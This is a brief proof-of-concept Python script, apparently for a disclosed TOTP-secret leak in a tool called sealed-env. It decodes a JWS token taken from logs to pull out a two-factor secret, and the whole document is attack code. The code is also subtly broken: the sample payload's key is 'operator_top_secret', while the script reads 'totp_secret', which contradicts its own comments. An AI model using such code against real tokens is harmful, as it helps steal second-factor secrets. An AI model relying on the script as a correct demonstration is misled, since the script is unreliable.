CVE-2026-45091 sealed-env TOTP密钥信息泄露漏洞

import base64 import json # Simulated leaked JWS token found in logs (Header.Payload.Signature) # The payload contains the 'totp_secret' in plaintext leaked_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJvcGVyYXRvcl90b3Bfc2VjcmV0IjoiS0VZLTEyMzQ1Njc4OTAiLCJ1c2VyIjoiYWRtaW4ifQ.signature_placeholder" # Function to extract TOTP secret def extract_totp_from_token(token): try: # Split token into parts parts = token.split('.') if len(parts) < 2: return "Invalid token format" payload_b64 = parts[1] # Add padding if necessary to make length a multiple of 4 padding = 4 - len(payload_b64) % 4 if padding != 4: payload_b64 += '=' * padding # Decode Base64 decoded_bytes = base64.urlsafe_b64decode(payload_b64) decoded_str = decoded_bytes.decode('utf-8') # Parse JSON payload_json = json.loads(decoded_str) # Extract secret (Key name may vary based on actual implementation) # Common keys: 'totp_secret', 'secret', 'key' secret = payload_json.get('totp_secret') return secret except Exception as e: return f"Error: {e}" print(f"Extracted Secret: {extract_totp_from_token(leaked_token)}")